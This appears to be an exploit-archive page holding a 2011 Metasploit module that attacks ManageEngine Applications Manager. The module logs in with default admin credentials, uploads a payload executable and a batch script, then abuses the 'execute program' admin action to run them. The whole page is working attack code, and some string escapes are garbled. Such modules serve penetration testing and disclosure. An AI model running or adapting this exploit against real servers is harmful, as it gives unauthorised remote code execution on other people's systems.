[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ManageEngine Applications Manager Authenticated Code Execution
# Published : 2011-04-08
# Author : metasploit
# Previous Title : IBM Lotus Domino iCalendar MAILTO Buffer Overflow
# Next Title : Cisco Security Agent Management Console ‘st_upload


			
### $Id: manageengine_apps_mngr.rb 12281 2011-04-08 14:06:10Z bannedit $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	include Msf::Exploit::Remote::HttpClient	include Msf::Exploit::EXE	def initialize		super(			'Name'        => 'ManageEngine Applications Manager Authenticated Code Execution',			'Version'	=> '$Revision: 12281 $',			'Description'	=> %q{						This module logs into the Manage Engine Appplications Manager to upload a 					payload to the file system and a batch script that executes the payload. },			'Author'	=> 'Jacob Giannantonio <JGiannan[at]gmail.com>',			'Platform'	=> 'win',			'Targets'	=>					[						['Automatic',{}],					],			'DefaultTarget'	=>	0			)					register_options(			[ Opt::RPORT(9090),				OptString.new('URI', [false, "URI for Applications Manager", '/']),				OptString.new('USER', [false, "username", 'admin']),				OptString.new('PASS', [false, "password", 'admin']),		], self.class)	end	def target_url		"http://#{rhost}:#{rport}#{datastore['URI']}"	end	def exploit		# Make initial request to get assigned a session token		cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "		cookie << "am_username=;am_check="		begin			print_status "#{target_url} Applications Manager - Requesting Session Token"			res = send_request_cgi({				'method'=> 'GET',				'uri'	=> "#{target_url}/webclient/common/jsp/home.jsp",				'cookie'  => cookie.to_s			}, 20)			if !res				print_error("Request to #{target_host} failed")				return			end			if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)				cookie << "; #{$1}"				print_good("Assigned #{$1}")			else				print_error("Initial request failed: http error #{res.code}")				return			end		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout			return		rescue ::Timeout::Error, ::Errno::EPIPE			return		end		# send cookie to index.do		begin			print_status "Sending session token to #{target_url}/index.do"			res = send_request_raw({				'method'  => 'GET',				'uri'     => "#{target_url}/index.do",				'cookie' => cookie			}, 20)			if !res || res.code != 200				print_error("Request to #{target_url} failed")			end		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout			print_error("Request to #{target_url}/index.do failed")			return		rescue ::Timeout::Error, ::Errno::EPIPE			return		end		# Log in with the assigned session token		post_data = "clienttype2=html&j_username="		post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"		post_data << "j_password="		post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"		print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")		begin			res = send_request_cgi({				'method'  => 'POST',				'uri'     => "#{target_url}/j_security_check",				'cookie' => cookie,				'data'    => post_data.to_s			}, 20)			if !res				print_error("Request to #{target_url} Failed")			end			# Server responds with a 302 redirect when the login is successful and			# HTTP 200 for a failed login			if res and res.code == 302				print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")			else				print_error("Failed to log into #{target_url}")				return			end		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout			print_error("Request to #{target_url}/j_security_check failed")			return		rescue ::Timeout::Error, ::Errno::EPIPE			return		end		# initial request to upload.do		# I think this is required to upload content later on.		begin			res = send_request_cgi({				'method'  => 'POST',				'uri'     => "#{target_url}/Upload.do",				'cookie'=> cookie,				'data'    => post_data			}, 20)			if !res				print_error("HTTP request to #{target_url} Failed")			end		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout			print_error("Request to #{target_url}/Upload.do Failed")			return		rescue ::Timeout::Error, ::Errno::EPIPE			return		end		# Transfer the payload executable via POST request to Upload.do		boundary = rand_text_numeric(11)		payload_file = "#{rand_text_alphanumeric(20)}.exe"		lines = "-----------------------------#{boundary}"		content_disposition = "Content-Disposition: form-data; name=/"theFile/";"		content_disposition << "filename=/"#{payload_file}/"/r/n"		post_data = lines + "/r/n" + content_disposition.to_s		post_data << "Content-Type: application/x-msdos-program/r/n/r/n"		post_data << "#{generate_payload_exe}/r/n/r/n"		post_data << lines + "/r/nContent-Disposition: form-data; "		post_data << "name=/"uploadDir/"/r/n/r/n"		post_data << ".///r/n#{lines}--/r/n"		begin			referer = "http://#{target_url}/Upload.do"			res = send_request_raw({				'method'  => 'POST',				'uri'     => "#{target_url}/Upload.do",				'headers' => {  'Referer' => referer,					'cookie' => "#{cookie}/r/nContent-Type: " +					"multipart/form-data; " +					"boundary=---------------------------#{boundary}",					'Content-Length' => post_data.length},					'data'    => post_data			}, 20)			if !res				print_error("Request to #{target_url} failed")			end			if res and res.code == 200				print_good("Uploaded payload #{payload_file}")			else				print_error("Response HTTP #{res.code} and HTTP 302 expected")			end		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout			print_error("Request to #{target_url}/Upload.do failed")			return		rescue ::Timeout::Error, ::Errno::EPIPE			return		end		# Transfer the batch sript via POST request to Upload.do		# The server will eventually call the batch script, which will call the payload.exe		boundary = rand_text_numeric(11)		bat_file = "#{rand_text_alphanumeric(20)}.bat"		lines = "-----------------------------#{boundary}"		content_disposition = "Content-Disposition: form-data; name=/"theFile/"; "		content_disposition << "filename=/"#{bat_file}/"/r/n"		post_data = lines + "/r/n" + content_disposition.to_s		post_data << "Content-Type: application/x-msdos-program/r/n/r/n"		post_data << "@ECHO off && /"C:////program files//ManageEngine//AppManager9//workin"		post_data << "g//#{payload_file}/"/r/n/r/n"		post_data << lines + "/r/nContent-Disposition: form-data; name=/"uploadDir/""		post_data << "/r/n/r/n"		post_data << ".///r/n#{lines}--/r/n"		begin			referer = "#{target_url}/Upload.do"				res = send_request_cgi({				'method'  => 'POST',				'uri'     => "#{target_url}/Upload.do",				'headers' => {  'Referer' => referer,				'cookie' => "#{cookie}/r/nContent-Type: multipart/form-data; " +				"boundary=---------------------------#{boundary}",				'Content-Length' => post_data.length},				'data'    => post_data			}, 20)			if !res				print_error("HTTP request to #{target_url} failed")				return			end			if res and res.code == 200				print_good("Uploaded #{bat_file} to execute #{payload_file}")			end		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout			print_error("Request to #{target_url}/Upload.do failed")			return		rescue ::Timeout::Error, ::Errno::EPIPE			return		end		action_name = "#{rand_text_alphanumeric(20)}"		post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha"		post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp"		post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m"		post_data << "onitoringmode=TELNET&username=&password=&description=&port=23"		post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir="		post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a"		post_data << "bortafter=10&cancel=false"		# This client request is necessary because it sends a request to the server		# specifying that we are interested in executing the batch script.  If		# successful, the server response body will contain an actionID that is		# used to tell the server to execute the script.		begin			referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null"			res = send_request_cgi({				'method'  => 'POST',				'uri'     => "#{target_url}/adminAction.do",				'headers' => {  'Referer' => referer,				'cookie' => cookie,				'Content-Type' => "application/x-www-form-urlencoded",				'Content-Length' => post_data.to_s.length},				'data'    => post_data.to_s			}, 20)			if !res				print_error("Request to #{target_host} failed")			end			# We are parsing the response in order to determine the correct actionID.			# My solution for doing this is to iterate through the HTTP response one			# line at a time.  The correct actionID always comes up several lines 			# after reading the name of the batch file 3 times.  Even if other batch 			# files are mixed up in the list of actions to execute, ours is always 			# the next one after reading the batch file name 3 times			if res and (res.code == 302 || res.code == 200)				action_id = 0				x = 0				res.body.each_line do |k|					k.strip!					if((k =~ /&actionID=(/d{8})/) && (x == 3))						action_id = $1						break;					elsif((k =~ /#{bat_file}/) && (x < 3))						x+=1					end				end			else				print_error("HTTP error #{res.code} and HTTP 302 expected")			end		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout			print_error("HTTP request to #{target_url}/adminAction.do ")			return		rescue ::Timeout::Error, ::Errno::EPIPE			return		end		begin			referer = "#{target_url}/common/executeScript.do?"			referer << "method=testAction&actionID=#{action_id}&haid=null"			print_good("Requesting to execute batch file with actionID #{action_id}")			res = send_request_cgi({				'method'  => 'GET',				'uri'     => "#{target_url}/common/executeScript.do?method=testAction&" + 						"actionID=#{action_id}&haid=null",				'headers' => {  'Referer' => referer,				'cookie' => 	"executeProgramActionTable_sortcol=1; " + 						"executeProgramActionTable_sortdir=down; " + 						"#{cookie}; executeProgramActionTable_" + 						"sortdir=down; executeProgramActionTable_sortcol=1",				'Content-Type' => "application/x-www-form-urlencoded"}			}, 20)		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout			print_error("Request to execute the actionID failed")		rescue ::Timeout::Error, ::Errno::EPIPE		end	endend